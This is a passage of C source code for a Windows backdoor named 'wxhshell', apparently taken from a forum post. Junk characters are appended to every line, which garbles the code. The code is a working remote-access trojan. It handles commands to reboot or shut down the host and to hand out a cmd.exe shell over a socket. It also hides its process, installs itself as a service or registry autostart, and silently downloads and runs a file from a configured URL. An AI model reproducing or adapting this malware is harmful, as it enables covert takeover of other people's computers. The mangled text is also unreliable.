  // 帮助 txXt<]N  
  case '?': { 9EKc{1 z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6`;+|H<$  
    break; `d. 4 L.],  
  } LjMhPzCp  
  // 安装 |!H@{o  
  case 'i': { #~`]eM5`J  
    if(Install()) keL!;q|r-)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I 6Mr[#*  
    else UIi`bbJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 088"7 s  
    break; u3@v  
    } e&J_uG  
  // 卸载 qI#ow_lL#  
  case 'r': { uV+.(sjH  
    if(Uninstall()) %t<ba[9F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UV8K$n<  
    else W05>\Rl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &[|P/gj#>  
    break; dt|f4 XWF  
    } ~ 6-6aYhe  
  // 显示 wxhshell 所在路径 h`b[c.%  
  case 'p': { *]RCfHo\=  
    char svExeFile[MAX_PATH]; ;(,1pi7|  
    strcpy(svExeFile,"\n\r"); #Do#e {=+  
      strcat(svExeFile,ExeFile); 2OQDG7#Kc  
        send(wsh,svExeFile,strlen(svExeFile),0); B!zqvShF  
    break; W;@9x1jK X  
    } ,=Fn6'  
  // 重启 yCG<qQz  
  case 'b': { @%sr#YqY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1I -LGe[Q  
    if(Boot(REBOOT)) |=W=H6h*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hCKx%&[^7  
    else { JOm6Zc  
    closesocket(wsh); J=C63YB  
    ExitThread(0); R x.]m0  
    } {f<\`  
    break; K JX@?1"  
    } e<[0H 8  
  // 关机 OGqsQ  
  case 'd': { OlF5~VAbfb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v9R"dc]0h  
    if(Boot(SHUTDOWN)) [#-!&>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =j{r95)|u  
    else { b&1-tYV  
    closesocket(wsh); nfbqJ  
    ExitThread(0); c/\$AJV.H  
    } # \)tz z  
    break; yL>wCD,L  
    } u  t4+c0  
  // 获取shell ,Y3wXmG  
  case 's': { ]~A<Q{  
    CmdShell(wsh); ZT'Sw%U:  
    closesocket(wsh); X0"f>.Lg  
    ExitThread(0); hpVu   
    break; Qo;#}%}^^  
  } )Mj $/  
  // 退出 eX@7f!uz  
  case 'x': { J \V.J/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3Ta<7tEM  
    CloseIt(wsh); Cq-#| +zr  
    break; .6D9m.Q,  
    } ';hTGLq\X  
  // 离开 oz- k_9%  
  case 'q': { 9?_ybO~Oq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OnKPD=<  
    closesocket(wsh); bn$}U.m$-  
    WSACleanup(); j |tu|Q  
    exit(1); ^,M&PP6  
    break; &G"r>,HU  
        } {k}EWV  
  } j$8i!C  
  } q T pvz  
{UR&Y  
  // 提示信息 J|BZ{T}d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VF<C#I  
} 6(X5n5C  
  } >.-$?2  
X;?Z_3I:5  
  return; * (4TasQu  
} Y/1,%8n  
o-D,K dY  
// shell模块句柄 Iu -CXc  
int CmdShell(SOCKET sock) AIXvS*Y,  
{ _\tGmME37  
STARTUPINFO si; GK/Q]}Q8pZ  
ZeroMemory(&si,sizeof(si)); U8 b1 sz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3koXM_4_{)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3oCw(Ff  
PROCESS_INFORMATION ProcessInfo; ", :Ta|  
char cmdline[]="cmd"; "n3i (sZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;5.o;|w?!  
  return 0; 6!3Jr  
} aumXidb S  
o,sw[  
// 自身启动模式 Q&9%XF uM  
int StartFromService(void) >Lo!8Hen  
{ dWI.t1`i  
typedef struct $.z~bmH"D  
{ ]%y~cq  
  DWORD ExitStatus; D-8>?`n\  
  DWORD PebBaseAddress; BI\+ NGrB  
  DWORD AffinityMask; 5w#*JK   
  DWORD BasePriority; '%m0@5|hCD  
  ULONG UniqueProcessId; 7(<49bb.V  
  ULONG InheritedFromUniqueProcessId; =!#iC?I  
}   PROCESS_BASIC_INFORMATION; 4#qjRmt  
,ZYj8^gF  
PROCNTQSIP NtQueryInformationProcess; #89h}mp'  
Bn"r;pqWiT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $nOd4{s_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F)0I7+lP  
a#0G mK  
  HANDLE             hProcess; Rro{A+[,X  
  PROCESS_BASIC_INFORMATION pbi; yt&eY6Xp  
#c0 dZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l}DCK  
  if(NULL == hInst ) return 0; IKK<D'6  
8O]U&A@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4nhe *ip  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #&1Y!kbdd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LaE;{jY  
%}=$HwN)  
  if (!NtQueryInformationProcess) return 0; I~R<}volu  
w jmZ`UMz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {1GW,T!#  
  if(!hProcess) return 0; %;0w2W  
fxDY:l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hG,gY;&[6  
4Pljyq:  
  CloseHandle(hProcess); <(JsB'TK  
n/"T7Y\2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JXlFo3<  
if(hProcess==NULL) return 0; f=}Mr8W'  
J{mP5<8>b  
HMODULE hMod; DJE/u qE  
char procName[255]; a{h(BI^~  
unsigned long cbNeeded; >:]fN61#  
xQ7n$.?y@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K]bS:[34 R  
3D~Fu8Hg1  
  CloseHandle(hProcess); '3o0J\cz  
cLl fncI  
if(strstr(procName,"services")) return 1; // 以服务启动 KrkZv$u,  
)).;p_nLZ  
  return 0; // 注册表启动 1V`]sfRK  
} -aNTFt~|[  
skcMGEB  
// 主模块  &1Fcwj  
int StartWxhshell(LPSTR lpCmdLine) EGwY|+3  
{ 7atYWz~yG  
  SOCKET wsl; |?Q(4(D`*  
BOOL val=TRUE; u,F d[[t  
  int port=0; nRQIrUNq  
  struct sockaddr_in door; xgR*j  
}bznx[4?I  
  if(wscfg.ws_autoins) Install(); L>UYR++<6  
A!k}  
port=atoi(lpCmdLine); =D xJt7J1  
L1QQU  
if(port<=0) port=wscfg.ws_port; ]@J}f}Mjo  
@` .u"@  
  WSADATA data; !BEOeq@2.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U>;itHW/  
?<frU ,{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =zA=D.D2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1MJ]Gh]5  
  door.sin_family = AF_INET; ID+'$u &  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nu0bJ:0aLd  
  door.sin_port = htons(port); dr6 dK  
Xy*X4JJh^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,:\2Lf  
closesocket(wsl); l3MbCBX2  
return 1; qd|*vE  
} CES FkAj~  
! T,7  
  if(listen(wsl,2) == INVALID_SOCKET) { TjI NxP-O  
closesocket(wsl); H[N&Wiq/|  
return 1; ^z&xy41#B  
} iL 4SL}P  
  Wxhshell(wsl); J+*rjdI  
  WSACleanup(); $fKwJFr  
L)nVNY@Mc  
return 0;  (+]k{  
GPx S.&  
} |>3a9]  
['km'5uZ^  
// 以NT服务方式启动 Rg[e~##  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >!)VkDAG  
{ P)ZSxU  
DWORD   status = 0; jZ D\u%  
  DWORD   specificError = 0xfffffff; aJ)5DlfLR  
4}LF>_+=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @B9|{[P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x>8f#B\Mr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MZjiJZaO:L  
  serviceStatus.dwWin32ExitCode     = 0; Mqh~5NM  
  serviceStatus.dwServiceSpecificExitCode = 0; Mz++SPG7  
  serviceStatus.dwCheckPoint       = 0; ^Js9E  
  serviceStatus.dwWaitHint       = 0; 3Xh&l[.  
jATU b-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tiE+x|Ju"  
  if (hServiceStatusHandle==0) return; |16 :Zoq  
VvF&E>f C  
status = GetLastError(); :ZP3$Dp  
  if (status!=NO_ERROR) J/<`#XZB   
{ f A,+qs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5 N/ ]/  
    serviceStatus.dwCheckPoint       = 0; 5ZKnxEW,(  
    serviceStatus.dwWaitHint       = 0; E+1j3Q;  
    serviceStatus.dwWin32ExitCode     = status; "tj#P  
    serviceStatus.dwServiceSpecificExitCode = specificError; pWx3l5)R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zj7XmkL  
    return; ; %Da {  
  } @E>^\!nH  
&\X;t|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {H+?DMh  
  serviceStatus.dwCheckPoint       = 0; BkZ%0rw%  
  serviceStatus.dwWaitHint       = 0; KncoIw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'j)eqoj  
} `2fuV]FW  
E7h}0DX  
// 处理NT服务事件,比如:启动、停止 wKeqR$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |wb7`6g  
{ | fI%L9  
switch(fdwControl) ]czy8n$+  
{ )[K3p{4  
case SERVICE_CONTROL_STOP: ibuI/VDF  
  serviceStatus.dwWin32ExitCode = 0; |"-,C}O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~Op1NE  
  serviceStatus.dwCheckPoint   = 0; rka:.#!  
  serviceStatus.dwWaitHint     = 0; UA8!?r-cR  
  { h@DJ/&;u@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V0AX1?H~w  
  } >ATW/9r  
  return; kxmS   
case SERVICE_CONTROL_PAUSE: |K_B{v.   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f!J^vDl  
  break; ^`!Daqk  
case SERVICE_CONTROL_CONTINUE: j&Aq^aI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `/AzX *`  
  break; 72,iRH  
case SERVICE_CONTROL_INTERROGATE: y%,BDyK  
  break; :9YQX(l8  
}; -0X> y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )mPlB.  
} -&EmEXs%  
JgB# EoF  
// 标准应用程序主函数 heKI<[8l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2$o[  
{ 0/ Ht;(  
'oHR4O*  
// 获取操作系统版本 _Nn!SE   
OsIsNt=GetOsVer(); .;:xx~G_Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EC~t 'v  
;9PM?Iy[  
  // 从命令行安装 vRq xZN  
  if(strpbrk(lpCmdLine,"iI")) Install(); DsX>xzM  
ZH(.| NaH  
  // 下载执行文件 1;P\mff3Y  
if(wscfg.ws_downexe) { eI}VHBAz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HIq1/)  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]2(c$R  
} eFio,  
4PWr;&  
if(!OsIsNt) { -"zu"H~t4  
// 如果时win9x,隐藏进程并且设置为注册表启动 g,:N zb  
HideProc(); CP#79=1  
StartWxhshell(lpCmdLine); eC$v0Gtq  
} F&*M$@u5  
else S0+zq<  
  if(StartFromService()) upDQNG>d  
  // 以服务方式启动 u,m-6@ il  
  StartServiceCtrlDispatcher(DispatchTable); Z~(XyaN  
else RNdnlD#P  
  // 普通方式启动 y2R=%EFh6  
  StartWxhshell(lpCmdLine); re!8nuBsA  
]CZLaID~  
return 0; vVYduvw  
}
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只看该作者 1 发表于: 2006-10-10
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